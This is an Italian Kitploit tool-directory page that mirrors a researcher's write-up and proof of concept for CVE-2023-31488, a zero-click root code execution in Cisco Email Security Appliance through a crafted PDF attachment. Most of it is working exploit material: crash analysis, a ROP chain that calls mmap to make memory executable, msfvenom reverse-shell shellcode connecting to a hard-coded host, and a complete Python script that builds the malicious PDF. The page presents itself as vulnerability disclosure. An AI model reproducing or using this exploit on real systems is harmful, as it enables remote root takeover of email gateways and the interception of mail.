Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cisco-CVE-2023-31488 — Cisco Email Security Appliance: Email a RCE zero-click come root - Esecuzione di codice remoto / Corruzione della memoria / Catena ROP | Kitploit
Strumenti/GitHubGitHub/ly1g3/cisco-cve-2023-31488
Framework di ExploitMemory ForensicsAnalisi delle VulnerabilitàExploitReverse EngineeringShellcodeFuzzingPenetration TestingSviluppo PayloadSicurezza EmailBinary Exploitation
11 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
ly1g3/cisco-cve-2023-31488

cisco-CVE-2023-31488

Cisco Email Security Appliance: Email a RCE zero-click come root - Esecuzione di codice remoto / Corruzione della memoria / Catena ROP

Vedi Repository

Informazioni

Ricercatore di sicurezza: ly1g3, ly1g3[at]tuta.io

Impronta GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

Panoramica: Da email a RCE a zero click come root - Remote Code Execution/Memory Corruption/ROP-chain

CVE: CVE-2023-31488

Cronologia:

  • Scoperta - ly1g3
  • Segnalata - ly1g3
  • Corretta - Cisco e Lexmark

Writeup

Durante il fuzzing del Cisco Email Security Appliance (ESA), ho scoperto una vulnerabilità in Lexmark Perceptive Filters, utilizzato dall'ESA per la sanificazione dei dati degli allegati email, che porta a RCE tramite email. Il crash si verifica durante l'analisi di un allegato PDF modificato. Alterando un ID di un oggetto PDF a due cifre, ad esempio:

Ad esempio:

root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor

Modificando parte dell'ID da 13 a qualcos'altro (come uno spazio) si ottiene:

root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
1

Inviando questo PDF modificato in una email al Cisco ESA si causa un crash da segmentation fault in libISYSpdf6.so. Il crash è dovuto al fatto che r14 contiene dati ASCII.

2 3

Un'ispezione più attenta mostra che questi dati provengono dal contenuto dell'allegato PDF sotto il nostro controllo. Il valore di r14 è Rect.

4

Test modificando Rect in AAAA.

5

Poiché il valore di r14 viene caricato da dati nel PDF, possiamo modificarlo per puntare a un indirizzo di memoria valido. Dopo questa regolazione, si verifica un altro crash a causa di dati non validi in RAX. Anche questi dati sono ASCII dal PDF.

6

Modifichiamo il PDF in modo che anche rax punti a un indirizzo reale e proseguiamo.

7

Si verifica un nuovo crash; ora rsi contiene dati ASCII dal PDF.

8

Modifichiamo nuovamente il PDF per caricare un indirizzo di memoria reale.

9

Finalmente arriviamo a una parte di codice molto interessante. Dove controlliamo rdi, che viene utilizzato per caricare un valore in rax. L'istruzione finale in questa sequenza è call rax. Stiamo facendo buoni progressi verso l'ottenimento di capacità di esecuzione di codice.

10

Ancora una volta entriamo nell'editor esadecimale e modifichiamo il valore caricato in rdi.

11

Ora abbiamo un modo limitato di esecuzione del codice e possiamo saltare a un singolo indirizzo. Poiché ASLR non è presente, trovare indirizzi di memoria è facile. Controlliamo anche rdi e quindi utilizziamo il gadget ROP iniziale libISYSshared.so: push rdi; pop rsp; xor eax, per spostare rdi in rsp e controllare lo stack. Puntiamo lo stack a un'area che controlliamo nella regione di memoria del PDF con uno stack personalizzato preparato con più gadget ROP.

12

Un shellcode di reverse shell per FreeBSD generato da msfvenom viene inserito nella regione di memoria del PDF. Ma poiché la memoria non è eseguibile, dobbiamo prima renderla eseguibile.

root@kitploit:~
shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"

Poiché a questo punto controlliamo lo stack, questo può essere fatto con la seguente catena ROP per chiamare mmap e impostare la regione di memoria dello shellcode come RWX.

root@kitploit:~
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 

Dopo che mmap viene chiamato, call rsp; eseguirà il NOP-sled del nostro shellcode poiché l'indirizzo dello shellcode è il successivo nel nostro stack personalizzato. Lo shellcode è una reverse shell generata da msfvenom.

Una cosa interessante è che questo codice viene eseguito prima di qualsiasi scansione antivirus statica, quindi la reverse shell standard di metasploit funzionerà perfettamente.

Possiamo utilizzare il POC qui sotto per creare un PDF funzionante. Dopodiché lo inviamo semplicemente in una email all'ESA per ottenere RCE. Vedi le mie altre vulnerabilità per l'escalation dei privilegi.

E così otteniamo una shell remota sull'ESA:

13

Questo è stato un progetto divertente che mi ha insegnato molto sulle vulnerabilità di memory corruption. Mostra anche quanto sia buona la protezione "moderna" come ASLR, ma anche che si possono ancora trovare sistemi senza ASLR là fuori.

Cisco AsyncOS 14.2.0

Attacco di overflow su ESA (Cisco Secure Email). Remote Code Execution come root.

Overflow di variabile/buffer in Lexmark Perceptive Filters

Inviando un file PDF appositamente creato, un overflow consente a un attaccante di ottenere Remote Code Execution arbitrario sull'ESA e su altri prodotti che utilizzano Lexmark Perceptive Filters.

Dettagli tecnici

Questo attacco di overflow permette all'attaccante di ottenere il controllo su un'istruzione call rax, rendendo banale passare a esecuzione di codice arbitrario poiché sull'ESA non viene utilizzato ASLR. Il codice viene eseguito come root.

Il problema deriva dal parsing PDF nella libreria libISYSpdf6.so di Lexmark ed è causato da chiamate alla funzione IGR_Open_File_Ex. Questa funzione può essere ricondotta alle funzioni safeprint e image_analysis in AMP (Advanced Malware Protection), ma l'exploit potrebbe essere attivato anche tramite altri percorsi.

Passaggi per riprodurre:

  1. Creare un PDF contenente Subtype/CIDFontType2/FontDescriptor. Un esempio si trova qui https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
  2. Ad esempio:
root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
  1. Sostituire parte dell'ID 13 con un altro valore (come spazio) 1 ottenendo:
root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
  1. Inviare il PDF all'ESA con safeprint o AMP image_analysis abilitati
  2. Questo porta a un Segmentation Fault in libISYSpdf6.so
root@kitploit:~
// r14 è ora controllato dall'utente e punta a dati nel PDF
0x804d4ffc0                  mov    rax, QWORD PTR [r14+0x18]
  1. Questo può essere portato a RCE poiché i dati caricati in rax raggiungeranno infine:
root@kitploit:~
// Chiamata con rax controllato, inizio della catena ROP
0x804d50298: call   rax
  1. La catena ROP per la reverse shell può quindi essere creata poiché ASLR non viene utilizzato, questo è banale

POC

root@kitploit:~

import sys
from pwn import *

message = """Usage: python3 gen_esa_exploit.py template.pdf exp.pdf

For template file use: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf

Change of pdf_data_base_address may be required.

ly1g3, ly1g3[at]tuta.io
"""

def insert_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        content.insert(at_address+i,addr[i])

def overwrite_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        index = at_address+i
        content[index] = addr[i]

def overwrite_string_at_address(content, at_address, content_to_write):
    for i in range(len(content_to_write)):
        index = at_address+i
        content[index] = content_to_write[i]




if len(sys.argv) < 3:
    print(message)
    
    sys.exit()

file_in = sys.argv[1]
file_out = sys.argv[2]



content = None
with open(file_in, "rb") as fi:
    content = bytearray(fi.read())

pos1 = 0x1C41 # position of "13 0 obj"
content[pos1] = 0x20

pos2 = 0x278C # /Rect object pointed to by r14
content[pos2] = 0x00

# Remove /Font at rem_start to make space for full address
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
    del content[rem_start]

# Remove GB1 to make space for address
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
        del content[rem_start]

# Insert address for r14
# at 0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
# Insert address to pdf data here
# Use pointer to 0xe0 offset in pdf works
pdf_data_base_address = 0x804c27384

address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)


# Random offset somewhere in the start of the pdf but not near the header
offset_in_pdf = 0xE0

#0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)

#0x804e51fc4                  add    r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)

# 0x804e08536                  mov    rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)

# 0x804e52286                  mov    rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)


libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 


# 0x804e52289                  mov    rax, QWORD PTR [rax+0x18]
# This address will execute at
# 0x804e52298                  call   rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)

# 0x804e5228d                  mov    esi, DWORD PTR [r12+0x10]
# This value will esi contain at call rax
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)

# $rdi will after this point to pdf_data_base_address can be used for rop chain


## ROP CHAIN

libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] File: libISYSshared.so: ret 0xf0; 
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] File: libISYSshared.so: ret; 

first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)

second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)

stack=0x230
overwrite_at_address(content, stack, rop3,8)

rop_chain_start=0x238

from struct import pack

p = lambda x : pack('Q', x)

shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"



IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)


rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 
rop += buf

print(rop)

overwrite_string_at_address(content, rop_chain_start, rop)

# ROP Chain here

with open(file_out, "wb") as fo:
    fo.write(content)

Scarica lo strumento